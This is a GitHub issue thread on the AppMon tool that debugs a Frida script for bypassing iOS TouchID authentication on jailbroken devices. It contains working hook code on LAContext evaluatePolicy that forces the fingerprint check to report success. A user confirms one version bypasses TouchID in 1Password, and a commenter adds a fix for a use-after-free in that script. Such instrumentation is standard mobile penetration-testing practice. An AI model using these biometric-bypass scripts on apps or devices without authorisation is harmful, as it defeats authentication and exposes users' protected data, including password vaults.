dpnishant / appmon

Documentation:
http://dpnishant.github.io/appmon
Apache License 2.0
1.56k stars 276 forks source link

TouchID Authentication Bypass Error - ReferenceError: identifier 'Set' undefined #31

Closed illnino closed 7 years ago

illnino commented 7 years ago

ENV

Mac OS 10.11.6 iPhone 6s Jailbroken iOS 9.0 Frida 10.0.3

Reproduction Steps

➜  appmon git:(master) ✗ git pull
Already up-to-date.
➜  appmon git:(master) ✗ intruder
➜  intruder git:(master) ✗ python appintruder.py -a "[redacted]" -p "ios" -s scripts/iOS/touchID.js

     ___      .______   .______   .___  ___.   ______   .__   __.
    /   \     |   _  \  |   _  \  |   \/   |  /  __  \  |  \ |  |
   /  ^  \    |  |_)  | |  |_)  | |  \  /  | |  |  |  | |   \|  |
  /  /_\  \   |   ___/  |   ___/  |  |\/|  | |  |  |  | |  . `  |
 /  _____  \  |  |      |  |      |  |  |  | |  `--'  | |  |\   |
/__/     \__\ | _|      | _|      |__|  |__|  \______/  |__| \__|
                        github.com/dpnishant

[INFO] Attached to [redacted]
[INFO] Building injection...
[INFO] Instrumentation started...
11:21:53 ReferenceError: identifier 'Set' undefined
    at [anon] (duk_js_var.c:1214)
    at script1.js:21

FYI

AppMon Sniffer works properly

➜  appmon git:(master) ✗ python appmon.py -a "[redacted]" -p "ios" -s scripts/iOS

     ___      .______   .______   .___  ___.   ______   .__   __.
    /   \     |   _  \  |   _  \  |   \/   |  /  __  \  |  \ |  |
   /  ^  \    |  |_)  | |  |_)  | |  \  /  | |  |  |  | |   \|  |
  /  /_\  \   |   ___/  |   ___/  |  |\/|  | |  |  |  | |  . `  |
 /  _____  \  |  |      |  |      |  |  |  | |  `--'  | |  |\   |
/__/     \__\ | _|      | _|      |__|  |__|  \______/  |__| \__|
                        github.com/dpnishant

[INFO] Attached to [redacted]
[INFO] Building injection...
[INFO] Instrumentation started...
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [26/May/2017 11:26:42] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [26/May/2017 11:26:43] "GET /favicon.ico HTTP/1.1" 404 -
[May 26 2017 11:26 AM] Dumped to ./app_dumps/[redacted].db
dpnishant commented 7 years ago

@illnino Thanks for finding this interesting issue. This error is happening due to the fact that Frida has recently changed its default JS runtime engine from V8 to Duktape, as V8 is not supported on the recent jailbreaks (because it requires kernel patch to allow RWX pages).

So you can try out two of the following options (and see which one works for you):

Option 1

  1. Add session.enable_jit() before https://github.com/dpnishant/appmon/blob/master/intruder/appintruder.py#L215
  2. python appintruder.py -a "[redacted]" -p "ios" -s scripts/iOS/touchID.js

Option 2

  1. npm install frida-compile
  2. frida-compile scripts/iOS/touchID.js -o scripts/iOS/touchID_compiled.js
  3. python appintruder.py -a "[redacted]" -p "ios" -s scripts/iOS/touchID_compiled.js

Do let me know which one worked for you, so that I can decide on the fix for this issue and commit the changes.

illnino commented 7 years ago

Option 1

If I understand correctly, it should look as below. Unfortunately, I got the same error.

                if platform == 'android' and spawn == 1:
                    print colored("Now Spawning %s" % app_name, "green")
                    pid = device.spawn([app_name])
                    session.enable_jit()
                    session = device.attach(pid)

Option 2

It seems it no longer complains. However, it looks like it failed to hook the touchid implementation. By clicking the cancel button on 1Password touchid validation page, I got nothing.

Similarly, the same behave in my another testing app.

(venv)➜  intruder git:(nino) ✗ python appintruder.py -a "1Password" -p ios -s scripts/iOS/touchID_compiled.js

     ___      .______   .______   .___  ___.   ______   .__   __.
    /   \     |   _  \  |   _  \  |   \/   |  /  __  \  |  \ |  |
   /  ^  \    |  |_)  | |  |_)  | |  \  /  | |  |  |  | |   \|  |
  /  /_\  \   |   ___/  |   ___/  |  |\/|  | |  |  |  | |  . `  |
 /  _____  \  |  |      |  |      |  |  |  | |  `--'  | |  |\   |
/__/     \__\ | _|      | _|      |__|  |__|  \______/  |__| \__|
                        github.com/dpnishant

[INFO] Attached to 1Password
[INFO] Building injection...
[INFO] Instrumentation started...

I am not sure if I compiled it in a correct way. To install frida-compile with npm install frida-compile, I got errors.

npm WARN enoent ENOENT: no such file or directory, open '/Users/illnino/package.json'

Then I try npm init and npm install frida-compile, it complains npm WARN json@1.0.0 No repository field.

➜  cat package.json
{
  "name": "frida-tools",
  "version": "1.0.0",
  "description": "frida-compile",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "na"
  },
  "author": "",
  "license": "ISC"
}

I ignored the warning, and run

➜  frida-tools cd node_modules/frida-compile/bin
➜  bin ./compile.js ~/touchid.js ~/touchid_compile.js

Content of touchid_compile.js

(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
/*
 Copyright (c) 2016 Nishant Das Patnaik.

 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at

  http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
*/

'use strict';

var resolver = new ApiResolver('objc');
var module = {};
const pendingBlocks = new Set();

resolver.enumerateMatches('-[LAContext evaluatePolicy:localizedReason:reply:]', {
  onMatch: function (match) {
    module.name = match.name;
    module.address = match.address;
  },
  onComplete: function () {}
});

Interceptor.attach(module.address, {
  onEnter: function (args) {

    var reason = new ObjC.Object(args[3]);
    console.log(reason);

    var block = new ObjC.Block(args[4]);
    pendingBlocks.add(block); // keep it alive

    var appCallback = block.implementation;

    block.implementation = function (success, error) {
      console.log('Fingerprint Matched: ' + success);
      var success = true;
      appCallback(success, error);
      pendingBlocks.delete(block);
    };
  }
});

},{}]},{},[1])
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5vZGVfbW9kdWxlcy9icm93c2VyLXBhY2svX3ByZWx1ZGUuanMiLCJ0b3VjaGlkLmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBO0FDQUE7Ozs7Ozs7Ozs7Ozs7Ozs7QUFnQkE7O0FBRUEsSUFBSSxXQUFXLElBQUksV0FBSixDQUFnQixNQUFoQixDQUFmO0FBQ0EsSUFBSSxTQUFTLEVBQWI7QUFDQSxNQUFNLGdCQUFnQixJQUFJLEdBQUosRUFBdEI7O0FBRUEsU0FBUyxnQkFBVCxDQUEwQixvREFBMUIsRUFBZ0Y7QUFDOUUsV0FBUyxVQUFTLEtBQVQsRUFBZ0I7QUFDdkIsV0FBTyxJQUFQLEdBQWMsTUFBTSxJQUFwQjtBQUNBLFdBQU8sT0FBUCxHQUFpQixNQUFNLE9BQXZCO0FBQ0QsR0FKNkU7QUFLOUUsY0FBWSxZQUFXLENBQUU7QUFMcUQsQ0FBaEY7O0FBUUEsWUFBWSxNQUFaLENBQW1CLE9BQU8sT0FBMUIsRUFBbUM7QUFDakMsV0FBUyxVQUFTLElBQVQsRUFBZTs7QUFFdEIsUUFBSSxTQUFTLElBQUksS0FBSyxNQUFULENBQWdCLEtBQUssQ0FBTCxDQUFoQixDQUFiO0FBQ0EsWUFBUSxHQUFSLENBQVksTUFBWjs7QUFFQSxRQUFJLFFBQVEsSUFBSSxLQUFLLEtBQVQsQ0FBZSxLQUFLLENBQUwsQ0FBZixDQUFaO0FBQ0Esa0JBQWMsR0FBZCxDQUFrQixLQUFsQixFQU5zQixDQU1JOztBQUUxQixRQUFJLGNBQWMsTUFBTSxjQUF4Qjs7QUFFQSxVQUFNLGNBQU4sR0FBdUIsVUFBVSxPQUFWLEVBQW1CLEtBQW5CLEVBQTBCO0FBQy9DLGNBQVEsR0FBUixDQUFZLDBCQUEwQixPQUF0QztBQUNBLFVBQUksVUFBVSxJQUFkO0FBQ0Esa0JBQVksT0FBWixFQUFxQixLQUFyQjtBQUNBLG9CQUFjLE1BQWQsQ0FBcUIsS0FBckI7QUFDRCxLQUxEO0FBTUQ7QUFqQmdDLENBQW5DIiwiZmlsZSI6ImdlbmVyYXRlZC5qcyIsInNvdXJjZVJvb3QiOiIifQ==
dpnishant commented 7 years ago

@illnino Try a different app as the "touchid" script only hooks the LocalAuthentication method for TouchID integration, but if the app uses the Keychain Services (Security.framework) method to integrate TouchID then it might not hook. If later is the case, then its a known issue and so far there is no work around for it, at least not known to me.

More info here: https://www.synopsys.com/blogs/software-security/integrating-touch-id-into-ios-applications/

illnino commented 7 years ago

@dpnishant Thanks for the information. I am able to bypass the TouchID authentication with below script on the same App. And it should hook API - - evaluatePolicy:localizedReason:reply:

if(ObjC.available) {
        var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
        Interceptor.attach(hook.implementation, {
            onEnter: function(args) {
                send("Hooking Touch Id..")
                var block = new ObjC.Block(args[4]);
                const appCallback = block.implementation;
                block.implementation = function (error, value)  {
                    const result = appCallback(1, null);
                    return result;
                };
            },
        });
    } else {
        console.log("Objective-C Runtime is not available!");
    }
oleavr commented 7 years ago

@illnino That script has a dangerous bug: it does not keep the block JS variable alive, so if it gets GCed before the method is finished with the block it will result in a use-after-free. The fix is simple, though: you can create an array at the top of the script, e.g. var pendingBlocks = [];, and pendingBlocks.push(block); after creation, and inside the block: pendingBlocks.splice(pendingBlocks.indexOf(block), 1); in the callback.

dpnishant commented 7 years ago

@oleavr Thank you so much for explanation. @illnino Can you please check out new touchID script and see it its working for you?